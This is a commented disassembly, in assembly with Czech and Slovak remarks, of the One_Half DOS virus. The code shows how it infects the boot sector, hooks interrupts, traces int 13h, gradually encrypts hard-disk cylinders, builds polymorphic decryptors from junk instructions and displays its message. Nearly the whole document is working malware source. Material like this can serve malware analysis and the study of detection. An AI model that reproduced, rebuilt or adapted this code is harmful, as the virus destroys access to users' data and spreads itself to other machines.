; Virus One_Half
; Dissasembly done by BLOOD

; Semi-polymorfni multiparitni virus slovenskeho puvodu

.486p

.487

seg_a		segment	byte public use16
		assume	cs:seg_a, ds:seg_a


		org	100h

one_half	proc	far
start:
		jmp	loc_08d1		; jmp na viruz_start
		;jmp	loc_0208		; jmp na start decodovaci_
		;				; rutiny ...
		db	101 dup (0)
loc_0168:
		db	 81h,0C0h,0FEh, 6Eh	; add	ax, 6EFEh
		jmp	loc_056c
		;
		db	19 dup (0)
loc_0182:
		cld
		std
		jnz	short loc_01B1
		jmp	loc_08D1
		;
		db	40 dup (0)
		;
loc_01B1:
		xor	[di], ax
		jmp	short loc_0168
		;
		db	64 dup (0)
		;
loc_01f5:
		db	2eh			; cs:
		mov	di, 582h
		db	36h			; ss:
		db	3eh			; ds:
		jmp	loc_049b
		;
		db	10 dup (0)
		;
loc_0208:
		push	ax
		nop
		db	36h			; ss:
		sti
		db	36h			; ss:
		clc
		sti
		jmp loc_0381
		;
		db	367 dup (0)
		;
loc_0381:
		push	cs
		cld
		jmp	loc_047c
		;
		db	246 dup (0)
		;
loc_047C:
		nop
		sti
		db	36h			; ss:
		clc
		nop
		pop	ds
		db	36h			; ss:
		jmp	loc_01f5
		;
		db	21 dup (0)
		;
loc_049b:
		cld
		db	3eh			; ds:
		mov	ax, 0bfbah
		db	3eh			; ds:
		std
		jmp	loc_01b1
		;
		db	148 dup (0)
		;
loc_0539:
		db	 81h,0FFh, 5Ah, 13h	; cmp	di, 135ah
		sti
		jmp	loc_0182
		;
		db	43 dup (0)
		;
loc_056c:
		clc
		sti
		cmc
		db	3eh			; ds:
		nop
		inc	di
		db	36h			; ss:
		jmp	loc_0539
		pop	ss
		;
		db	12 dup (0)
		;

		;
loc_0582:
		;
p		label	near
p_		equ	offset the_second_part - offset boot_start
p__		equ	presun_rutiny + (p - buffer)
		;
_mcb_		db	'Z'			; it'z last_block
		dw	9F01h			; PSP
		dw	0FFh			; 4096 bytez
		db	3 dup(?)		; reserved
		db	'COMMAND', 0		; blockz_owner_name ...
		;
exe_header	dw	20CDh			; exe_signature
part_pag	dw	501eh
page_cnt	dw	09b4h
relo_cnt	dw	0
hdr_size	dw	21cdh
min_mem		dw	1f58h
max_mem		dw	0bac3h
relo_ss		dw	03d0h
exe_sp		dw	0efe8h
exe_flag	db	00h			; checksum
		db	0b4h
exe_ip		dw	0100h
relo_cs		dw	0FFF0h
tabl_off	dw	0BA05h
		;
decode_routine_table:
		dw	0208h			; here'z the table
		dw	0381h			; of offsetz, where are
		dw	047ch			; the chunkz of code of
		dw	01f5h			; decode_routine
		dw	049bh
xor_offset	dw	01b1h
		dw	0168h
		dw	056ch
		dw	0539h
jnz_offset	dw	0182h
		;
beginning_ofs	dw	07beh
		;
overwritten_bytez:
		db	06h, 83h, 05h, 00h, 00h, 2Eh
		db	8Ch, 0Eh, 85h, 05h, 4Fh, 02h
		db	00h, 2Eh,0A1h,0A3h, 05h, 26h
		db	0C7h
		db	'G.com <jmen'
		db	0Bh, 26h, 3Ah, 47h, 21h,0BAh
		db	4Ah, 05h, 0Fh
		db	'„_driveru>', 0Ah, 't'
		db	0FFh,0C6h, 44h,0FFh, 00h,0B8h
		db	03h, 4Bh,0BBh, 80h, 00h, 8Ah
		db	0Ch, 0Ah,0C9h,0BAh, 68h, 04h
		db	0Fh
		db	'ys ...', 0Ah, 0Dh, '$'
		db	17h
		db	'instalovan'
		db	02h,0EBh, 03h,0E9h, 43h, 02h
		db	4Eh, 56h, 89h, 36h
		;

		;
hdr_size_	dw	10h
date_div	dw	1Eh
page_size_	dw	200h
		;

; Tady zacina bootovaci verze One_Halfa
boot_start:
		xor bx, bx
		cli
		mov sp, 07c00h			; set up stack
		mov ss, bx			; 2 0000h:7c00h
		sti
		mov ds, bx
		sub word ptr ds:[413h], 4	; dec mem_size o 4 kila
		mov cl, 6
		int 12h				; gimme mem_size
		shl ax, cl			; count the segment
		mov dx, 80h			; first harddisk, 0. head
		mov es, ax			; my_new_seg 2 es
		db	0b9h			; mov cx, ?
viruz_start_sec	dw	0bh			; gimme virus_start_sec
		mov ax, 0207h			; read 7 secz
		push es				; (viruz_body)
		int 13h
		mov ax, offset the_second_part - p
		push ax
		retf				; go2 new_segment_part
		;
the_second_part:
		mov word ptr ds:[21h * 4 + 2], cs; store cs 2 21h * 4 + 2
		mov ax, word ptr ds:[46ch]	; gimme tick_counter
		push ds
		push cs				; make ds = cs
		pop ds
		mov word ptr ds:[mov_bx_? - p], ax	; store counter
		mov ax, cs
		inc ax
		mov word ptr ds:[_mcb_ + 1 - p], ax	; store block_owner
		mov byte ptr ds:[run_jmp - p], 0; nulluj displ8 2 set our
						; own _mcb_ as last_one
		call sub_078b			; move presun_rutiny
		pop es
		mov bx, sp			; 7c00h 2 bx
		push es
		mov si, word ptr es:[bx+p_]	; gimme cur_cyl_number_
						; _2_crypt
		db	81h, 0feh		; cmp si, ?
lowest_cyl	dw	07h			; less than lowest_cyl ?
		jbe loc_06d6
		push si				; nope
		sub si, 2			; ok crypt 2 cylinderz
		mov word ptr ds:[not_crypt_cyl - p], si	; store cyl - 2
		pop si
		mov ah, 08h			; gimme drivez_paramz
		int 13h
		jc loc_06d6			; error ?
		mov al, cl			; gimme max_sec_number
		and al, 03fh			; voklesti max_sec
		mov byte ptr ds:[secz_count - p__], al	; secz_2_crypt
		mov cl, 1			; starting_sec 2 cl
		mov bh, 7eh			; buffer_ptr 2 7e00h
		mov word ptr ds:[buf_ptr - p__], bx	; store buffer_ptr
		mov dl, 80h			; set up drive 2 first harddisk
loc_069E:
		dec	si			; dec cylinder_number
		call	sub_0798		; convert cyl_number
		push	dx
loc_06A3:
		mov	ah, 2			; read 1 cylinder
		push	ax
		int	13h
		pop	ax
		jc	short loc_06B4		; error ?
		db	0e8h			; call crypt_
		dw	offset crypt_ - presun_rutiny + buffer - next_
next_		label	near			; crypt_ it
		inc	ah			; make function 03h
		push	ax
		int	13h			; and write crypted_cyl
		pop	ax
loc_06B4:
		jc	short loc_072B		; error ?
		test	dh, 3Fh			; last head ?
		jz	short loc_06BF
		dec	dh			; dec head
		jmp	short loc_06A3		; and go on
loc_06BF:					; yope
		pop	dx
		db	81h, 0feh		; cmp	si, ?
not_crypt_cyl	dw	1bfh			; ok 2 cylinderz crypted_ ?
		ja	loc_069E
loc_06C6:					; yope
		mov	bh, 7Ch			; buffer 2 7c00h
		mov	es:[bx+p_], si		; store new cur_cyl_number_2_
		mov	ax, 301h		; _crypt
		mov	cx, 1			; and write partition_table
		mov	dh, ch			; (boot_start) back
		int	13h
loc_06D6:
		mov	ds:[cur_cyl_number - p__], si
		db	81h, 0feh		; cmp	si, ?
one_half_cyl	dw	136h			; more than one_half_crypted ?
		ja	short loc_06E3
		call	sub_07EC		; ok try 2 write text
loc_06E3:					; nope not yet
		mov	ax, 201h		; ok now read
		mov	bx, 7C00h		; 2 buffer 7c00h
		mov	cx, ds:[viruz_start_sec - p]	; gimme viruz_...
		dec	cx			; go2 orig_partition_table
		mov	dx, 80h			; orig_partition_table
		int	13h
		cli
		les	ax, dword ptr es:[13h * 4]	; gimme old_int_13h
		mov	ds:[old_int_13h - p__], ax	; and store it
		mov	ds:[old_int_13h - p__ + 2], es
		pop	es
		push	es
		les	ax, dword ptr es:[1ch * 4]	; gimme old_int_1ch
		mov	ds:[old_int_1ch - p], ax	; and store it
		mov	ds:[old_int_1ch - p + 2], es
		pop	es
		push	es				; set up my own
		mov	word ptr es:[13h * 4], offset new_int_13h - p__
		mov	word ptr es:[13h * 4 + 2], cs	; new_int_13h
		mov	word ptr es:[1ch * 4], offset new_int_1ch - p
		mov	word ptr es:[1ch * 4 + 2], cs	; and new_int_1ch
		sti
		push	bx
		retf				; and jump 2 orig_partition

; Diz uncryptz_cylinderz if any error occurez
loc_072B:
		xor	ah, ah
		push	ax
		int	13h			; try 2 reset the disk
		pop	ax
loc_0731:
		inc	dh			; inc head
		mov	ah, dh			; head 2 ah
		pop	dx			; pop max_head
		push	dx
		cmp	ah, dh			; cmp cur_head with max_head
		ja	short loc_074E		; above ?
		mov	dh, ah			; cur_head 2 dh
		mov	ah, 2			; read cylinder
		push	ax
		int	13h
		pop	ax
		db	0e8h			; call crypt_
		dw	offset crypt_ - presun_rutiny + buffer - next__
next__		label	near			; uncrypt_ it
		inc	ah
		push	ax
		int	13h			; and write it back
		pop	ax
		jmp	short loc_0731
loc_074E:					; yope (error on first_cyl)
		pop	dx			; pop max_head
		inc	si			; inc cyl_number
		jmp	loc_06C6		; and end with crypt_
			
new_int_1ch:
		push	ax
		push	ds
		push	es
		xor	ax, ax
		mov	ds, ax
		les	ax, dword ptr ds:[21h * 4]	; gimme int_21h
		mov	cs:[old_int_21h - p__], ax	; store offset
		mov	ax, es			; gimme seg
		cmp	ax, 800h		; are we under 800h ?
		ja	short loc_0783
		mov	word ptr cs:[old_int_21h - p__ + 2], ax	; yope
						; we've got dos_int_21h_seg
		les	ax, dword ptr cs:[old_int_1ch - p]; gimme old_int_1ch
		mov	ds:[1ch * 4], ax	; restore it back
		mov	word ptr ds:[1ch * 4 + 2], es
		mov	word ptr ds:[21h * 4], offset new_int_21h - p;and set up
		mov	word ptr ds:[21h * 4 + 2], cs	; my new_int_21h
loc_0783:					; nope
		pop	es
		pop	ds			; restore regz
		pop	ax			; and
		db	0EAh			; jmp far ptr old_int_1ch
old_int_1ch	dw	0FF53h, 0F000h

one_half	endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz movez some routinez ...
sub_078B	proc	near
		mov	si, offset presun_rutiny - p
		mov	di, offset buffer - p
		mov	cx, offset f_read_ - offset presun_rutiny - 4
		cld
		rep	movsb
		retn
sub_078B	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz makez from cyl_number_in_si valid cx_reg
sub_0798	proc	near
		push	ax
		mov	ax, si
		mov	ch, al
		push	cx
		mov	cl, 4
		shl	ah, cl
		pop	cx
		mov	al, 3Fh			; '?'
		and	dh, al
		and	cl, al
		not	al
		push	ax
		and	ah, al
		or	dh, ah
		pop	ax
		shl	ah, 1
		shl	ah, 1
		and	ah, al
		or	cl, ah
		pop	ax
		retn
sub_0798	endp

text_		db	'Dis is one half.', 0Dh, 0Ah, 'Pr'
		db	'ess any key to continue ...', 0Dh
		db	0Ah

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz writez text if run_counter sudej and it iz sudej day etc.
sub_07EC	proc	near
		mov	ah, 4			; gimme CMOS date_&_time
		int	1Ah
		jc	short loc_ret_0816
		test	dl, 3			; day sudej etc. ?
		jnz	short loc_ret_0816
		test	word ptr ds:[run_counter - p], 1; run_counter sudej
		jnz	short loc_ret_0816
		mov	cx, offset sub_07ec - offset text_; gimme text_length
		mov	si, offset text_ - p	; gimme text_offset
		mov	ah, 0Fh			; gimme cur_video_page_number
		int	10h			; why ?
		mov	bl, 7
		mov	ah, 0Eh			; print char 2 cur_page ...

locloop_080D:
		lodsb				; gimme byte
		int	10h
		loop	locloop_080D		; and go on

		xor	ah, ah			; wait 4 keyprezz
		int	16h

loc_ret_0816:
		retn				; and end ...
sub_07EC	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz callz int_21h_file_fc with a handle in bx
sub_0817	proc	near
		push	bx
		db	0bbh			; mov	bx, ?
handle_		dw	0			; gimme handle
		int	21h			; call int_21h
		pop	bx
		retn				; and end ...
sub_0817	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz callz int_13h
int_13h		proc	near
		pushf
		cli
		db	9Ah			; call far ptr int_13h_addr
int_13h_addr	dw	774h, 70h
		retn
int_13h		endp


; Pouzito pro tracing int_13h
new_int_01h:
		push	bp
		mov	bp, sp
		db	0ebh
jump_patch_?	db	offset loc_084f - ($ + 1); jmp	short loc_084F
		db	81h, 7eh, 04h		; cmp	word ptr [bp+4], ?
which_segment_?	dw	0253h
		ja	short loc_0853
		push	ax
		push	bx
		push	ds
		lds	ax, dword ptr [bp+2]
		db	0bbh
new_int_01h_mov_bx_?	dw	5200h		; mov bx, ?
		mov	cs:[int_13h_addr - p][bx], ax
		mov	cs:[int_13h_addr - p + 2][bx], ds
		mov	byte ptr cs:[jump_patch_? - p][bx], offset loc_084f - (offset jump_patch_? + 1)
		pop	ds
		pop	bx
		pop	ax
loc_084F:
		and	byte ptr [bp+7], 0FEh
loc_0853:
		pop	bp
		iret

; Diz installz viruz 2 mem
loc_0855:
		pop	bx			; pop index
		pop	ax			; pop es_seg
		push	ax
		dec	ax			; go2 mcb_block
		mov	ds, ax			; store it 2 ds
		cmp	byte ptr ds:[0], 5Ah	; last one ?
		jne	short loc_08CE
		add	ax, ds:[3]		; add blockz_size
		sub	ax, 0FFh		; sub 4 viruz_body
		mov	dx, cs			; (4 our bufferz etc.)
		mov	si, bx			; index 2 so
		mov	cl, 4
		shr	si, cl			; make paragraphz
		add	dx, si			; add it 2 cs
		db	2eh, 8bh, 0b7h, 1ah, 00h; mov	si, cs:[1ah][bx]
						; gimme min_mem (from exe_header)
		cmp	si, 106h
		jae	short loc_0881
		mov	si, 106h
loc_0881:
		add	dx, si			; add min_mem
		cmp	ax, dx			; less ?
		jb	short loc_08CE
		mov	byte ptr ds:[0], 4Dh	; make middle_block
		sub	word ptr ds:[3], 100h	; sub 100h paragraphz
						; (0ffh viruz and 01h _mcb_)
		mov	ds:[12h], ax		; set new mem_top 2 PSP
		mov	es, ax			; gimme where_2_move_seg
		push	cs
		pop	ds
		inc	ax
		mov	ds:[1], ax		; store owner
		mov	byte ptr [which_jump_? - p][bx], 0EBh
		mov	si, bx			; gimme index
		xor	di, di			; move 2 0000h
		mov	cx, offset buffer - p	; gimme viruz_size
		rep	movsb			; and finally move
		push	es
		pop	ds
		call	sub_078B		; move presun_rutiny
		xor	ax, ax
		mov	ds, ax
		cli
		mov	ax, ds:[21h * 4]	; gimme old_int_21h
		mov	es:[old_int_21h - p__], ax	; store it
		mov	ax, word ptr ds:[21h * 4 + 2]
		mov	es:[old_int_21h - p__ + 2], ax
		mov	word ptr ds:[21h * 4], offset new_int_21h - p
		mov	word ptr ds:[21h * 4 + 2], es	; and set my own
		sti				; int_21h
loc_08CE:
		jmp	loc_0A1E		; and go on
				
; Diz iz the beginning ...
loc_08D1:
		call	sub_08D4

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_08D4	proc	near
		pop	si
		sub	si, offset sub_08d4 - p ; count where we are
		mov	[new_int_01h_mov_bx_? - p][si], si
		push	es
		push	si			; si = 582h
		cld
		inc	word ptr [run_counter - p][si]
		mov	byte ptr [which_jump_? - p][si], 74h
		xor	ax, ax
		mov	es, ax
		mov	ax, es:[46Ch]		; gimme tick_counter
		mov	[mov_bx_? - p][si], ax	; store it
		mov	[crypt_value - p][si], ax; 2 timez
		mov	ax, 4B53h		; am i in mem ?
		int	21h
		cmp	ax, 454Bh		; check mark
		je	short loc_0965
		mov	ah, 52h			; nope so go on
		int	21h			; gimme list_of_listz_ptr
		mov	ax, es:[bx-2]		; gimme 1. MCB_segment
		mov	[which_segment_? - p][si], ax	; store it
		mov	byte ptr [jump_patch_? - p][si], 0
		mov	ax, 3501h		; get int_01h
		int	21h
		push	bx			; store it to stack
		push	es
		mov	ax, 3513h		; get int_13h
		int	21h
		mov	[int_13h_addr - p][si], bx	; store it to
		mov	[int_13h_addr - p + 2][si], es; variablez
		mov	ax, 2501h		; set my int_01h
		lea	dx, [new_int_01h - p][si]
		int	21h
		lea	bx, [buffer - p][si]
		mov	cx, 1			; read partition_table
		mov	dx, 80h
		push	cs
		pop	es
		pushf
		pop	ax
		or	ah, 1			; set trap_flag
		push	ax
		popf
		mov	ax, 201h		; and trace int_13h
		call	int_13h
		pushf
		pop	ax
		and	ah, 0FEh		; nulluj trap_flag
		push	ax
		popf
		pop	ds
		pop	dx
		pushf
		mov	ax, 2501h		; restore int_01h
		int	21h
		popf
		jc	short loc_09C0		; any errorz ?
		push	cs
		pop	ds
		cmp	word ptr [bx+25h], offset the_second_part - p
		jne	short loc_0968		; iz in partition my viruz ?
						; (mark)
loc_0965:
		jmp	loc_0A1D
loc_0968:
		cmp	word ptr [bx + 180h], 72Eh; next mark
		je	short loc_09C0
		mov	ah, 8			; gimme hard_paramz
		mov	dl, 80h			; prvniho_hadru
		call	int_13h
		jc	short loc_09C0		; error ?
		and	cx, 3Fh			; voklesti max_sector
		mov	[max_sektor - p][si], cl
		mov	[max_sektor_2 - p][si], cl
		and	dh, 3Fh			; voklesti headz
		mov	[max_heads - p][si], dh
		mov	ax, 301h
		sub	cl, 7
		mov	[partition_sec_n - p][si], cl
		mov	dx, 80h
		call	int_13h			; write partition_table
		jc	short loc_09C0		; error ?
		push	cx
		push	dx
		push	si
		xchg	di, si
		mov	cx, 4			; 4 entryz
		add	bx, 1EEh		; go2 last_parition_entry
locloop_09A9:
		mov	al, [bx+4]		; nacti typ FATky
		cmp	al, 1			; DOS 12bit ?
		je	short loc_09C3
		cmp	al, 4			; 4 = DOS 16bit ?
		jb	short loc_09B8		; 5 = EXTENDED_DOS_PARTITION ?
		cmp	al, 6			; 6 = BIGDOS (nad 32Mbyte) ?
		jbe	short loc_09C3
loc_09B8:
		sub	bx, 10h			; kazdej zaznam 10h bytez
		loop	locloop_09A9

		pop	si
		pop	dx
		pop	cx
loc_09C0:
		jmp	loc_0855		; jmp 2 mem_install
loc_09C3:
		mov	cx, [bx+2]		; gimme boot_start
		mov	dh, [bx+1]		; gimme head
		call	sub_0D2F		; convert_it
		add	si, 7			; make valid cyl_number
		mov	[lowest_cyl - p][di], si	; store it
		xchg	si, ax
		mov	cx, [bx+6]		; gimme end cylinder
		mov	dh, [bx+1]		; gimme head
		call	sub_0D2F		; convert_it
		mov	[max_cyl_number - p][di], si; store it
		mov	[mov_ax_? - p][di], si	; store it
		add	ax, si
		shr	ax, 1			; div with 2
		mov	[one_half_cyl - p][di], ax; store one_half
		pop	si
		pop	dx
		pop	cx
		mov	ax, 307h
		xchg	bx, si
		inc	cx
		mov	[viruz_start_sec - p][bx], cx
		call	int_13h			; write viruz_ body
		jc	loc_09C0		; (whole)
		lea	si, [boot_start - p][bx]; and now move boot
		lea	di, [buffer - p][bx]
		push	di
		mov	cx, offset the_second_part - offset boot_start
		rep	movsb
		db	0b8h			; mov	ax, ?
mov_ax_?	dw	265h			; store starting_sector_
		stosw				; _2_ crypt
		mov	ax, 301h		; write the new parition_table
		pop	bx
		mov	cx, 1
		call	int_13h
		jc	loc_09C0		; error ?
loc_0A1D:
		pop	bx			; nope
loc_0A1E:
		push	cs			; no a tohle je obnova
		pop	ds			; casti, ktery byly
		push	cs			; prepsany dekodovaci
		pop	es			; rutinou
		db	8Dh,0B7h		; lea si, cs:[overwritt...][bx]
		dw	offset overwritten_bytez - p
		db	81h,0C3h		;add bx, offset decode_...
		dw	offset decode_routine_table - p
		mov	cx, 0Ah			; there'z 0ah_partz

locloop_0A2D:
		mov	di, [bx]		; gimme where_2_move_offset
		push	cx
		mov	cx, 0Ah			; every_part haz 0ah bytez
		rep	movsb
		pop	cx
		inc	bx			; go2 next_move_offset
		inc	bx
		loop	locloop_0A2D		; and go on

		pop	es
		db	83h,0C3h		; add	bx, 0 - (....)
		db	0 - (offset beginning_ofs - offset exe_header)
		mov	di, es			; bx 2 exe_header_offset
		add	di, 10h			; count start_seg
		add	[bx+16h], di		; store relo_cs
		add	[bx+0Eh], di		; store relo_ss
		cmp	word ptr [bx+6], 0	; what'bout relo_cnt ?
		je	short loc_0AB6		; there'z any ?
		mov	ds, es:[2ch]		; yope; gimme environment_seg
		xor	si, si			; start at offset 00h
loc_0A56:
		inc	si
		cmp	word ptr [si], 0	; eof formal_environment ?
		jne	loc_0A56
		add	si, 4			; go2 prog_name
		xchg	dx, si
		mov	ax, 3D00h		; open prog_file
		int	21h
		jc	short loc_0ADB		; error ?
		push	cs
		pop	ds
		mov	ds:[handle_ - p - 10h][bx], ax	; store handle_
		mov	dx, [bx+18h]		; gimme tabl_offset
		mov	ax, 4200h		; f_ptr 2 it
		call	sub_0817
		push	es			; store start_seg
		xchg	di, ax
loc_0A79:
		push	ax
		lea	dx, cs:[reloc_buffer - p - 10h][bx]
		mov	cx, [bx+6]		; gimme relo_cnt
		cmp	cx, (name_buffer + 34 - random_number) shr 2
		jb	short loc_0A8A		; 2 big ?
		mov	cx, (name_buffer + 34 - random_number) shr 2
						; yope gimme max_relo_cnt_now
loc_0A8A:
		sub	[bx+6], cx		; sub it from relo_cnt
		push	cx
		shl	cx, 1			; mul it with 4
		shl	cx, 1			; (segment:offset)
		mov	ah, 3Fh			; read reloc_table
		call	sub_0817
		jc	short loc_0ADB		; error ?
		pop	cx
		pop	ax
		xchg	si, dx

locloop_0A9D:
		add	[si+2], ax		; make relo_seg
		les	di, dword ptr [si]	; gimme relo_addr
		add	es:[di], ax		; and add start_seg
		add	si, 4			; go2 next entry
		loop	locloop_0A9D

		cmp	word ptr [bx+6], 0	; relo_cnt nullovy ?
		ja	loc_0A79		; if yope go on
		pop	es			; nope
		mov	ah, 3Eh			; so close_file
		call	sub_0817
loc_0AB6:					; nope
		push	es
		pop	ds
		cmp	byte ptr cs:[bx+12h], 0	; com_file ?
		jne	short loc_0ACC
		mov	si, bx			; gimme exe_header_offset
		mov	di, 100h
		mov	cx, 3			; move 3 bytez 2 100h
		rep	movsb
		pop	ax
		jmp	short loc_0AD7		; and go on
loc_0ACC:					; nope it'z exe_file
		pop	ax
		cli
		mov	sp, cs:[bx+10h]		; gimme sp
		mov	ss, cs:[bx+0Eh]		; gimme ss
		sti
loc_0AD7:
		jmp	dword ptr cs:[bx+14h]	; finally jmp 2 real_prog_start
loc_0ADB:
		mov	ah, 4Ch			; there waz an error !
		int	21h

		;
reloc_buffer	label	near
		;

; in : dx = max_number
; out : dx = random_number
random_number:
		mov	cs:[mov_si_? - p], si
		push	ax
		push	bx
		push	cx
		push	dx
		db	0b9h			; mov	cx, ?
mov_cx_?	dw	0b0d4h
		db	0bbh			; mov	bx, ?
mov_bx_?	dw	6210h
		mov	dx, 15Ah
		mov	ax, 4E35h
		xchg	si, ax
		xchg	dx, ax
		test	ax, ax
		jz	short loc_0AFC
		mul	bx
loc_0AFC:
		jcxz	short loc_0B03
		xchg	cx, ax
		mul	si
		add	ax, cx
loc_0B03:
		xchg	si, ax
		mul	bx
		add	dx, si
		inc	ax
		adc	dx, 0
		mov	cs:[mov_bx_? - p], ax
		mov	cs:[mov_cx_? - p], dx
		mov	ax, dx
		pop	cx
		xor	dx, dx
		jcxz	short loc_0B1E
		div	cx
loc_0B1E:
		pop	cx
		pop	bx
		pop	ax
		pop	si
		push	si
		cmp	byte ptr cs:[si], 0CCh	; there'z a breakpoint ?
loc_0B27:
		je	loc_0B27		; if yope stay in loop
						; (nice_try ...)
		db	0beh			; mov	si, ?
mov_si_?	dw	5cbh
		retn
sub_08D4	endp


; decode_routine haz 10 piecez ... (10 instructionz)
		;
instr_start:
		db	01h			; instruction_length
		db	50h			; push ?_reg
		;
		db	01h			; instruction_length
push_what	db	0eh			; push cs or push ss
		;
		db	01h			; instruction_length
		db	1fh			; pop ds
		;
		db	03h			; instruction_length
mov_index_?	db	0bfh			; mov ?_index_reg, im16
viruz_start	dw	0582h			; im16
		;
		db	03h			; instruction_length
mov_?_instr	db	0b8h			; mov ?_reg, im16
crypt_viruz_value	dw	0bfbah		; im16
		;
		db	02h			; instruction_length
		db	31h			; xor [index_reg], ?_reg
xor_?_instr	db	05h			; ModR/M
		;
		db	04h			; instruction_length
		db	81h			; add ?_reg, im16
add_?_instr	db	0c0h			; ModR/M, opcode
next_crypt_value_	dw	6efeh		; im16
		;
		db	01h			; instruction_length
inc_?_instr	db	47h			; inc ?_reg
		;
		db	04h			; instruction_length
		db	81h			; cmp ?_index_reg, im16
cmp_index_?	db	0ffh			; ModR/M, opcode
viruz_end	dw	135ah			; im16
		;
		db	02h			; instruction_length
		db	75h			; jnz disp8
		db	0efh
		;
		
		;
unimportant_instr:
		;
		nop
		stc
		clc
		sti
		db	 2Eh			; cs:
		db	 36h			; ss:
		db	 3Eh			; ds:
		cld
		std
		cmc
		;

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz movez unimportant_instr 2 buffer
; in : dx = wieviel :-)
sub_0B57	proc	near
		or	dx, dx			; count nullovy ?
		jz	short loc_ret_0B71
		push	si
		push	cx			; push regz
		push	dx
		mov	cx, dx			; count 2 cx

locloop_0B60:
		mov	si, offset unimportant_instr - p
		mov	dx, 0Ah			; max_random 2 0ah (10 instr)
		call	random_number		; gimme random_number
		add	si, dx			; go2 instruction
		movsb				; move it
		loop	locloop_0B60		; and go on

		pop	dx
		pop	cx			; restore regz
		pop	si

loc_ret_0B71:
		retn				; and end ...
sub_0B57	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz putz be4 and after instruction unimportant_instructionz
; in : dx = wieviel u_instr
sub_0B72	proc	near
		mov	ax, dx			; instr_count 2 ax
		inc	dx
		call	random_number		; gimme random_number
		sub	ax, dx			; sub cur_instr_count from
						; instr_count
		call	sub_0B57		; move unimportant_instr
		xchg	dx, ax
		rep	movsb			; move real_instruction
		db	81h,0FBh		; cmp bx, offset jnz_offset - p
		dw	offset jnz_offset - p	; it'z last_one ? (jnz xor_...)
		jnz	short loc_0B92
		mov	ax, ds:[xor_offset - p]	; gimme xor_offset
		sub	ax, di			; sub cur_instr_buffer_index
		add	ax, offset instr_buffer - p; add instr_buffer_back
		sub	ax, [bx]		; sub jnz_offset
		dec	di			; go2 disp8
		stosb				; and store it
loc_0B92:
		call	sub_0B57		; and now put some u_instr
						; after real_instruction
		retn				; and end ...
sub_0B72	endp

m_?_i		dw	offset mov_?_instr - p	; 0b38h	; 0b96h	; 0614h
x_?_i		dw	offset xor_?_instr - p	; 0b3dh	; 0b98h	; 0616h
a_?_i		dw	offset add_?_instr - p	; 0b40h	; 0b9ah	; 0618h
m_i_?		dw	offset mov_index_? - p	; 0b34h	; 0b9ch	; 061ah
x_?_i_		dw	offset xor_?_instr - p	; 0b3dh	; 0b9eh	; 061ch
i_?_i		dw	offset inc_?_instr - p	; 0b44h	; 0ba0h	; 061eh
c_i_?		dw	offset cmp_index_? - p	; 0b47h	; 0ba2h	; 0620h

